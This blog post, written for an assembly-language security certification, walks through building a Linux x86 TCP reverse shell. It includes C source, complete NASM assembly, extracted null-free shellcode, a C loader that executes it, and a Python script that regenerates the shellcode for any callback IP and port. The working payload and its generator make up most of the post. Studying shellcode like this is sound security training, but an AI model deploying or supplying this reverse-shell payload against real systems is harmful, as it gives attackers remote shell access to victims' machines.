In this blog post, we will be covering the process behind writing and analysing an x86 TCP reverse shell for Linux in assembly.
This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy.
Overview
The code for the TCP reverse shell will consist of the following components:
- Linux x86 TCP reverse shell shellcode, written in Assembly.
- Shellcode skeleton code, written in C.
- Wrapper script for customising the listener address and port, written in Python.
We will begin by analysing a simple example of an x86 Linux TCP reverse shell written in C taken from the following blog post:
To make matters simpler, we have modified the below code and set the connect-back port to 4444.
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void)
{
int sockfd; // socket file descriptor
socklen_t socklen; // socket-length for new connections
struct sockaddr_in addr; // client address
addr.sin_family = AF_INET; // server socket type address family = internet protocol address
addr.sin_port = htons(4444); // connect-back port, converted to network byte order
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order
// create new TCP socket
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
// connect socket
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
// spawn shell
execve( "/bin/sh", NULL, NULL );
}
We compile the code with gcc:
gcc -fno-stack-protector -z execstack example.c -o example
To make sure the code does what we expect, we briefly run it with netcat listening on port 4444:
We execute the program and receive a reverse shell connection back to our listener:
TCP reverse shell syscalls
Analysing the C code, we note that there are four main syscalls that are performed to initiate the TCP reverse shell. The syscalls are:
- socket()
- connect()
- dup2()
- execve()
We will cover each of these syscalls by studying their arguments and calling conventions, beginning with an analysis of the call to socket() in assembly.
Creating a socket
The socket() call is used to create an endpoint for communication. A successful call to socket() returns a file descriptor which refers to the created socket endpoint.
According to the system call reference file stored in 32-bit Linux at /usr/include/i386-linux-gnu/asm/unistd_32.sh, the syscall number for socketcall is 102.
If we look at the man page for socketcall, we note that the syscall takes two parameters and has the following function header:
int socketcall(int call, unsigned long *args);
Syscall | Argument | Man Reference |
---|---|---|
socketcall | call | Determines which socket function to invoke |
socketcall | args | Points to a block containing the actual arguments |
First, we look at the call parameter. The implementation of sockets in linux can be found in the /usr/include/linux/net.h header file.
Within this file, we find that to call the socket function, call must have a value of 1.
To understand further how a socket is defined, we can refer to its man
page:
According to the above man page entry, the socket function header is as follows:
int socket(int domain, int type, int protocol);
socket() arguments
Next, we look at each of the parameters to the socket() function.
domain
The domain argument denotes the protocol family which will be used for communication. In our case, as we are looking to establish a connection over the IPv4 protocol, this value will be set to AF_INET.
We can find the corresponding numerical value of AF_INET in locally stored header files. For the version of 32-bit Kali Linux we are working with, the reference to AF_INET can be located in /usr/include/i386-linux-gnu/bits/socket.h.
type
The next argument is the type of socket. As we are setting up a TCP bind shell, we should use the SOCK_STREAM option, which is defined as being 'sequenced, reliable and connection-based' (i.e. TCP).
Based on its definition in /usr/include/i386-linux-gnu/bits/socket_type.h, type should be set to 1.
protocol
The final argument, protocol value can be set to its default value of 0.
Looking at the C source code, we note that IPPROTO_IP is provided as the protocol.
Doing a quick grep on this returns to us the contents of /usr/include/linux/in.h
, which indicates it is mapped to the value 0.
grep -rnw '/usr/include/linux' -e 'IPPROTO_IP'
/usr/include/linux/bpf.h:1512: * * **IPPROTO_IP**, which supports *optname* **IP_TOS**.
/usr/include/linux/bpf.h:1713: * * **IPPROTO_IP**, which supports *optname* **IP_TOS**.
/usr/include/linux/in.h:29: IPPROTO_IP = 0, /* Dummy protocol for TCP */
/usr/include/linux/in.h:30:#define IPPROTO_IP IPPROTO_IP
socket() argument structure
A breakdown of the arguments to socket() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
socket | domain | The protocol family which will be used for communication | PF_INET |
socket | type | Specifies the communication semantics | SOCK_STREAM |
socket | protocol | Specifies a particular protocol to be used with the socket | IPPROTO_IP |
Now that we know the initial values to create a socket, we can implement this in assembly.
Calling socket()
By default, a syscall in 32-bit Linux will use the registers as follows:
- EAX - Syscall Number
- EBX - 1st Argument
- ECX - 2nd Argument
- EDX - 3rd Argument
- ESI - 4th Argument
- EDI - 5th Argument
In case of our system call to socketcall(), our register values will be as follows:
- EAX - system call number (102)
- EBX - call - socket (1)
- ECX - *args - a pointer to the domain, type and arguments
As ECX must contain a pointer to our socket() arguments, we can push them onto the stack in reverse order, and set ECX to the top of the stack where the arguments start:
- domain - PF_INET - 2
- type - SOCK_STREAM - 1
- protocol - IPPROTO_IP - 0
The overall argument structure for calling socket will follow the below layout.
Note: decimal values have been converted into their hexadecimal equivalents, e.g. the syscall value 102 = 0x66.
Syscall | Argument | Value |
---|---|---|
socketcall | syscall | 0x66 |
socketcall | call | 0x1 |
socket | domain | 0x2 |
socket | type | 0x1 |
socket | protocol | 0x0 |
socket() assembly code
The assembly code for the socket() function is as follows:
_socket:
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; Clear EBX register and set bl to 0x1 for socket.
xor ebx, ebx
mov bl, 0x1
; Clear ECX register and push values for protocol, type and domain to the stack
xor ecx, ecx
push ecx; protocol - IPPROTO_IP (0x00000000)
push 0x1; type - 1 (0x1)
push 0x2; domain - PF_INET (0x2)
; set ECX to the top of the stack to point to args
mov ecx, esp
; Execute socket() syscall
int 0x80
We can now link and compile the program using nasm and ld as follows:
socket() analysis
To understand the assembly code on a per-instruction basis and debug the compiled program, we can use gdb.
As we step through the program, it helps to print out the registers, stack and disassembled instructions to keep track of where we are in the program. We can do this by defining hook-stop:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049000
>end
Now, every time we step through the program, the values of our specified registers are printed along with the top four stack values and the disassembled assembly instructions.
We can trace the program flow right up until the syscall to socket() is made, so that we ensure that the arguments are aligned correctly in the required registers and on the stack.
We reach the end of the function and find that EAX has been populated with the value of the socket descriptor, 0x3. This indicates a successful call to socket().
Connecting to the socket
Next, we look at the call that's made to connect(). Based on the man page, this system call connects the socket referenced by the provided socket descriptor to the address specified by addr.
The connect() function has the following function header:
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Before we get into the arguments for the connect() function, we note that the argument of socketcall() will now be set to the value for connect().
We consult the /usr/include/linux/net.h file and note that connect() has a call value of 3.
connect() arguments
Next, we look at each of the parameters to the connect() function.
sockfd
The sockfd parameter is the file descriptor of the socket. This value was returned following a successful call to the socket() function and, following the syscall, is stored in the EAX register.
addr
The addr parameter is a pointer to the desired family, port and address properties of our socket.
Referring to the C example source code, we note that the sockaddr structure is referenced by the addr value.
addr.sin_family = AF_INET; // server socket type address family = internet protocol address
addr.sin_port = htons( 1337 ); // connect-back port, converted to network byte order
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order
// create new TCP socket
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
// connect socket
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
As we already know that sockfd refers to the file descriptor, we next look up the definition of sockaddr in socket.h:
/* Structure describing a generic socket address. */
struct sockaddr
{
__SOCKADDR_COMMON (sa_); /* Common data: address family and length. */
char sa_data[14]; /* Address data. */
};
To understand how the sa_data char array (sockaddr_in) is structured, we can refer to its definition in /usr/include/linux/in.h:
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
/* Pad to size of `struct sockaddr'. */
unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct in_addr)];
};
According to the above definition, sockaddr_in has the following properties:
- sin_family - Address family
- sin_port - TCP port
- sin_address - IPv4 address
For the purpose of initially simplifying our shellcode, we will set the port value to 4444, with the address set to our local Kali address of 192.168.105.151.
addrlen
The addrlen argument specifies the size of the address structure pointed to by addr in bytes. This will be 16 (0x10).
connect() argument structure
A breakdown of the arguments to connect() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
socketcall | call | Syscall number | - |
socketcall | args | Syscall arguments | - |
connect | sockfd | Socket file descriptor | host_sockid |
connect | addr | Socket address family, host IP address and port | &hostaddr |
connect | addrlen | Size in bytes of addr | sizeof(hostaddr) |
To understand how to convert our IPv4 address into the format expected by sin_addr, we can review the man page of inet_addr:
In the man page, we see that a function inet_aton() is used to convert the given IP address to binary form in network byte order.
We can do the same in Python3 using the below code, giving us the value 0x9769a8c0 for our given IP address:
>>> value = socket.inet_aton("192.168.105.151").hex()
>>> little_hex = bytearray.fromhex(value)
>>> little_hex.reverse()
>>> str_little = ''.join(format(x, '02x') for x in little_hex)
>>> print(str_little)
9769a8c0
>>>
Following this, the values pointed to by addr (sockaddr_in) are as follows:
Struct | Argument | Man Reference | Value |
---|---|---|---|
sockaddr_in | sin_family | Address family | 0x2 |
sockaddr_in | sin_port | TCP port to listen on in network byte order | 0x5c11 |
sockaddr_in | sin_addr | Host IP address in network byte order | 0x9769a8c0 |
In order to avoid pushing null values on the stack, we can instead XOR the host address value with 0xffffffff, move that resulting value into a register, and XOR that register again with 0xffffffff to get the original value. This will prevent us from pushing null bytes in the event that our host address contains zeroes.
Below, we indicate how this behaviour works using Python. Initially, we set a to our original hex string of the host address, and XOR it with 0xffffffff to get a string which does not contain any null bytes. We then recover the original value by XORing it with 0xffffffff again.
>>> a = 0x9769a8c0
>>> b = 0xffffffff
>>> c = hex(a ^ b)
>>> print(c)
0x6896573f
>>> print(hex(c ^ 0xffffffff))
0x9769a8c0
With the above in mind, we will push our XOR'd host address, 0x6896573f to the stack.
Calling connect()
In case of our system call to socketcall():
- EAX - system call number (102)
- EBX - call argument - connect (3)
- ECX - *args - connect arguments
To begin, we must push the elements of the sockaddr_in structure to the stack in reverse order, starting with sin_addr.
- sockfd - Stored in EAX after call to socket(). We will save this value by moving it to the EDX register.
- addr - We will store this value in the ESI register.
- sin_family - AF_INET (2)
- sin_port - 4444 (0x5c11)
- sin_addr - 192.168.105.151 (0x6896573f)
- addrlen = 16 (0x10)
The overall argument structure for calling connect() will be as follows:
Syscall | argument | Description | Value |
---|---|---|---|
socketcall | syscall number | syscall value for socketcall | 0x66 |
socketcall | call | socketcall value for bind | 0x2 |
connect | sockfd | socket file descriptor | 0x3 |
connect | addr | sockaddr_in structure | 2, 0x5c11, 0x6896573f |
connect | addrlen | Length of addr in bytes | 0x10 |
connect() assembly code
_connect:
; Clear EDX register and save the sockfd value returned from socket()
xor edx, edx
mov edx, eax
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; clear EBX register and set bl to 0x3 for connect.
xor ebx, ebx
mov ebx, 0x3
; Clear EDI register and push value for IP address.
xor edi, edi
mov edi, 0x6896573f
; XOR EDI to get original IP address hex value whilst avoiding null bytes.
xor edi, 0xffffffff
; Clear ECX register and push IP address
xor ecx, ecx
push edi; sin_addr - 192.168.105.151 (0x6896573f)
push word 0x5c11; sin_port - 4444 (0x5c11)
push word 0x2; sin_family - AF_INET (2)
; Save pointer to sockaddr to ESI register
mov esi, esp
push 0x10; addrlen - 16 (0x10)
push esi; addr
push edx; sockfd
; Set ECX to stop of stack for syscall arguments *args
mov ecx, esp
; Execute connect() syscall
int 0x80
connect() analysis
We can now step through our implementation of connect() using gdb.
We once again define a hook-stop for the scope of the connect() assembly code:
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>print/x $edi
>x/4xw $esp
>disassemble 0x8049013
>end
As we step through, we note that instructions save the socket file descriptor to EDX as intended:
Next, the syscall is set up for the call to connect() by moving 0x3 to the bl register:
Next, the XOR'd hex value of our host address and 0xffffffff is moved to the EDI register:
This value is then XOR'd with 0xffffffff again to return the hex value of our host address to avoid null bytes:
Next, the values for the port and protocol family are pushed to the stack:
The ESP value is moved to the ESI register, so as to save the sockaddr_in structure that we have pushed to the stack.
The addrlen, *addr and sockfd values are pushed to the stack:
The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for connect().
After the syscall is made, the value 0xffffff91 is put into the EAX register, indicating that the connect() attempt was unsuccessful.
However, if we set up a netcat listener on port 4444, whilst the binary returns a segmentation fault, we can see that the connection is successfully made:
We can repeat the final instruction in gdb and see that the return value for the syscall is put into EAX.
Making the shell interactive
Now that we have a working reverse shell implementation in assembly, we next work on making it interactive.
The example C program does this by setting the file descriptors for the client socket for the STDIN, STDOUT and STDERR values on the host system.
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
The manual entry for this functionality is as follows:
The dup2() function, which is used by the C program has the following function header:
int dup2(int oldfd, int newfd);
To locate the syscall number for dup2(), we can query unistd_32.h and grep for the function name like so:
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
#define __NR_dup2 63
We determine the syscall number of dup2() is 63, which in hex is 0x3F.
dup2() arguments
Next, we look at each of the parameters to the dup2() function.
oldfd
The oldfd argument is a file descriptor. In this case, we set it to the file descriptor of the established socket.
This value can be set to the file descriptor of the previously established socket. Following the call to connect(), the socket descriptor was saved to the EDX register.
newfd
The newfd argument is the file descriptor we are redirecting into the socket.
As we are aiming to redirect STDIN, STDOUT and STDERR to the socket connection, this value will be set to 0, 1 and 2 on each subsequent syscall.
dup2() argument structure
A breakdown of the arguments to dup2() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
dup2 | oldfd | Socket file descriptor | host_sockid |
dup2 | newfd | Maximum number of pending connections | 0, 1 and 2 |
Calling dup2()
In case of our system call to dup2():
- EAX - system call number (63)
- EBX - oldfd, which is the sockid returned by the call to socket()
dup2() assembly code
The assembly code for the dup2() function is as follows:
_dup2:
; Push the EAX register containing the socket file descriptor returned from socket()
push edx
; Clear EAX register and set al to syscall number 63 in hex.
mov al, 0x3f
pop ebx; POP socket file descriptor into EBX for dup2 syscall
xor ecx, ecx; Clear ECX register for initial redirection of STDIN (0)
int 0x80; Execute dup2() syscall
; Set dup2() syscall for STDOUT
mov al, 0x3f
mov cl, 0x1
int 0x80
; Set dup2() syscall for STDERR
mov al, 0x3f
mov cl, 0x2
int 0x80
dup2() analysis
We can now step through our implementation of dup2() using gdb.
Defining hook-stop for the scope of dup2() assembly code:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049040
>end
Note: We once again have to set up a listener in order to resume execution in gdb after the call to connect()
To begin, the value of EDX, which contains the socket descriptor is pushed to the stack.
We move the syscall number for dup2() to the EAX register:
We prep the EAX, EBX and ECX registers for the syscall to duplicate STDIN, denoted by ECX as the value 0:
We repeat the setup to perform the syscall for STDOUT, with ECX set to 0x1:
Finally we perform the syscall for STDERR, with ECX set to 0x2:
On each subsequent syscall, the EAX register returns the value of the new file descriptor (0 for STDIN, 1 for STDOUT, 2 for STDERR).
Getting a shell
Now that we have a working reverse connection over TCP which performs proper I/O redirection, we need to implement a shell.
Once the socket client connects to our waiting listener, the program needs to execute a shell program such as /bin/sh to spawn a shell.
To do this, we are going to use the execve() syscall.
As per the C shellcode, the execve() call is as follows:
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
The manual entry for the execve() functionality is as follows:
The execve() function has the following function header:
int execve(const char *pathname, char *const argv[], char *const envp[]);
To locate the syscall number for execve(), we can again query the unistd_32.h file:
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
#define __NR_execveat 358
We determine the syscall number of execve() is 11, which in hex is 0xb.
execve() arguments
Next, we look at each of the parameters to the execve() function.
pathname
The pathname argument is used to refer to the null-terminated file path of the program executed by execve().
This value is pushed to the stack in little-endian format. We will point this value to the filepath of /bin/sh.
To maintain stack alignment, we will push the string ''//bin/sh' which has a length of 8. In doing so, we can cleanly push this value to the stack in two instructions.
argv
The argv argument is an array of pointers to strings to be passed to the new program as command-line arguments.
In this case, as we are just looking to implement a call to /bin/sh, we will leave this as NULL.
envp
The envp argument is an array of pointers to strings to be passed as the environment of the new program.
Once again, as we are just looking to implement a call to /bin/sh, we can leave this as NULL.
execve() argument structure
A breakdown of the arguments to execve() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
- | call | ||
execve | pathname | Filepath of the program to execute | "/bin/sh" |
execve | argv | Command-line arguments of the program | NULL |
execve | envp | Environment of the new program | NULL |
Calling execve()
In case of our system call to execve():
- EAX - system call number (11)
- EBX - pathname ("//bin/sh" in reverse)
- ECX - argv (set to NULL)
- EDX - envp (set to NULL)
Reversing the pathname
In order to abide by the little-endian format, we must push values in reverse order to the stack.
We can reverse the pathname and put it in little endian format using the below python code snippet.
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1] :
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
We can use this script to reverse the string "//bin/sh" and encode it in hex, so that we may include it in our assembly.
Note: as mentioned previously, we have prepended the pathname with an additional forward slash "/" to make the string length 8. This allows us to push the string evenly and maintain stack alignment.
python2 reverse.py "//bin/sh"
String length : 8
hs/n : 68732f6e
ib// : 69622f2f
The output of the program gives us the two values we need to push to the stack, 0x68732f6e and 0x69622f2f.
execve() assembly code
The assembly code for the execve() function is as follows:
_execve:
; Clear EAX register and set al to syscall number 11 in hex.
mov al, 0xb
; Push pathname string to the stack and set the EBX register to it
xor ebx, ebx
push ebx; NULL terminate the string
push 0x68732f6e; hs/n - 0x68732f6e
push 0x69622f2f; ib// - 0x69622f2f
mov ebx, esp;
; Clear the ECX and EDX registers for argv and envp
xor ecx, ecx
xor edx, edx
; Execute execve() syscall
int 0x80
execve() analysis
We can now step through our implementation of execve() using gdb.
We define our hook-stop function:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049054
>end
Note: We once again have to initiate a client connection in order to resume execution after the call to connect()
The syscall is set up for the call to execve(), having moved 0xb to the bl register:
The null-terminated string value of '//bin/sh' is pushed to the stack in preparation for the call to execve():
The ESP value is moved to the EBX register, so that EBX is pointing to the null-terminated string used for the pathname argument:
The ECX and EDX registers are both cleared, as they are provided as the NULL argv and env arguments:
Finally, the syscall to execve() is made, and a call is made to the /bin/sh program:
We check our netcat listener, and confirm we have a fully functioning reverse shell.
Complete assembly code
The final assembly implementation of our TCP reverse shell is as follows:
; tcp_reverse_shell_x86.nasm
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
; Assignment 2: Linux x86 TCP Reverse Shell
global _start
section .text
_start:
; Linux x86 reverse tcp shell
; set up socket()
; set up connect()
; set up dup2()
; set up execve()
_socket:
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; Clear EBX register and set bl to 0x1 for socket.
xor ebx, ebx
mov bl, 0x1
; Clear ECX register and push values for protocol, type and domain to the stack
xor ecx, ecx
push ecx; protocol - 0 (0x00000000)
push 0x1; type - 1 (0x1)
push 0x2; domain - PF_INET (0x2)
; Set ECX to the top of the stack to point to args
mov ecx, esp
; Execute socket() syscall
int 0x80
_connect:
; Clear EDX register and save the sockfd value returned from socket()
xor edx, edx
mov edx, eax
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; clear EBX register and set bl to 0x3 for connect.
xor ebx, ebx
mov ebx, 0x3
; Clear EDI register and push value for IP address.
xor edi, edi
mov edi, 0x6896573f
; XOR EDI to get original IP address hex value whilst avoiding null bytes.
xor edi, 0xffffffff
; Clear ECX register and push IP address
xor ecx, ecx
push edi; sin_addr - 192.168.105.151 (0x6896573f)
push word 0x5c11; sin_port - 4444 (0x5c11)
push word 0x2; sin_family - AF_INET (2)
; Save pointer to sockaddr to ESI register
mov esi, esp
push 0x10; addrlen - 16 (0x10)
push esi; addr
push edx; sockfd
; Set ECX to stop of stack for syscall arguments *args
mov ecx, esp
; Execute connect() syscall
int 0x80
_dup2:
; Push the EDX register containing the socket file descriptor return from socket()
push edx
; Clear EAX register and set al to syscall number 63 in hex.
mov al, 0x3f
pop ebx; POP socket file descriptor into EBX register for dup2 syscall
xor ecx, ecx; Clear ECX register for initial redirection of STDIN (0)
int 0x80; Execute dup2() syscall
; set dup2() syscall for STDOUT (1)
mov al, 0x3f
mov cl, 0x1
int 0x80
; set dup2() syscall for STDERR (2)
mov al, 0x3f
mov cl, 0x2
int 0x80
_execve:
; Clear EAX register and set al to syscall number 11 in hex.
mov al, 0xb
; Push pathname string to the stack and set the EBX register to it
xor ebx, ebx
push ebx; NULL terminate the string
push 0x68732f6e; hs/n - 0x68732f6e
push 0x69622f2f; ib// - 0x69622f2f
mov ebx, esp;
; Clear the ECX and EDX registers for argv and envp
xor ecx, ecx
xor edx, edx
; Execute execve() syscall
int 0x80
Assembly and linkage
We can assemble and link our TCP reverse shell program as follows:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# nasm -f elf32 -o tcp_reverse_shell_x86.o tcp_reverse_shell_x86.nasm
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# ld -o tcp_reverse_shell_x86 tcp_reverse_shell_x86.o
Executing the shellcode
Next, we can extract the raw shellcode from our tcp_reverse_shell_x86 binary and insert it into our C shellcode loader.
Our shellcode loader is a simple C program designed to print the length of our shellcode, and direct execution to it:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"SHELLCODE";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
To obtain the raw shellcode bytes of our TCP reverse shell, we use an excellent objdump one liner from CommandlineFu.
objdump -d tcp_reverse_shell_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xbb\x03\x00\x00\x00\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
We embed our shellcode into the code variable of our C program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xbb\x03\x00\x00\x00\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Finally, we can compile the C program using gcc:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Finally, we can test the shellcode, confirming that we get a reverse shell on port tcp/4444.
Modifying the address and port
In most cases, the user would want to be able to specify which port and address they want the reverse shell code to connect back to.
To do this, we have written a Python wrapper script which takes 'ip address' and 'port' arguments and modifies the tcp_reverse_shell.nasm file to assemble the shellcode with the specified values. The script then assembles and outputs the shellcode to the console and performs cleanup of the created artifacts.
import argparse
import sys
import os
import socket
def convert_args(address, port):
address = socket.inet_aton(address).hex()
le_address = bytearray.fromhex(address)
le_address.reverse()
address = "0x{0}".format(''.join(format(x, '02x') for x in le_address))
address = hex(int(address, 16) ^ 0xffffffff)
port = hex(socket.htons(port))
return address, port
def set_args(address,port):
address, port = convert_args(address, port)
asm = open("tcp_reverse_shell_x86.nasm", 'rt')
data = asm.read()
data = data.replace('ADDRESS', address)
data = data.replace('PORT', port)
asm.close()
asm = open('tmp.nasm', 'wt')
asm.write(data)
asm.close()
def gen_shellcode():
stream = os.popen("""objdump -d tcp_reverse_shell_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'""")
shellcode = stream.read().rstrip()
return shellcode
def print_shellcode(shellcode, address, port):
print("[*] Generating shellcode for x86 TCP reverse shell on {0}:{1}".format(address, port))
print("[*] Shellcode length: %d bytes" % ((len(shellcode.replace("\\x", "")) /2)-1))
print("[*] Checking for NULL bytes...\n%s" % ("[-] NULL bytes found." if "00" in shellcode else "[+] No NULL bytes detected!"))
print(shellcode)
def main():
parser = argparse.ArgumentParser(description='Generate x86 TCP reverse shell shellcode.')
parser.add_argument('-l', '--lhost', type=str, help='Remote IPv4 address for TCP reverse shell to connect to.')
parser.add_argument('-p', '--port', type=int, help='Remote port for TCP reverse shell to connect to.')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit()
# Modify the host address and port in tcp_reverse_shell_x86.nasm
set_args(args.lhost, args.port)
# Link and assemble code
os.system('nasm -f elf32 -o tcp_reverse_shell_x86.o tmp.nasm')
os.system('ld -o tcp_reverse_shell_x86 tcp_reverse_shell_x86.o')
# Dump the shellcode using objdump
shellcode = gen_shellcode()
# Print shellcode
print_shellcode(shellcode, args.lhost, args.port)
# Cleanup
os.system('rm tmp.nasm')
os.system('rm tcp_reverse_shell_x86.o')
os.system('rm tcp_reverse_shell_x86')
if __name__ == "__main__":
main()
We generate our shellcode for a reverse shell on TCP port 4444:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# python3 tcp_reverse_shell_x86.py -l 192.168.105.151 -p 4444
[*] Generating shellcode for x86 TCP reverse shell on 192.168.105.151:4444
[*] Shellcode length: 104 bytes
[*] Checking for NULL bytes...
[+] No NULL bytes detected!
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
We can now paste the generated shellcode into our shellcode.c program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile the shellcode with gcc:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We start a netcat listener and execute the shellcode program, which connects back to our listener on port 4444. Success!
Code
The assembly, python and C source code for the above Linux x86 TCP reverse shell implementation can be found on my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-6483
All code was tested on 32-bit Kali Linux:
┌──(jack㉿kali)-[~/SLAE32/Assignment 2: TCP Reverse Shell]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux
In the next blog post, we will be covering how to implement custom egghunter shellcode in assembly.
Thanks for reading!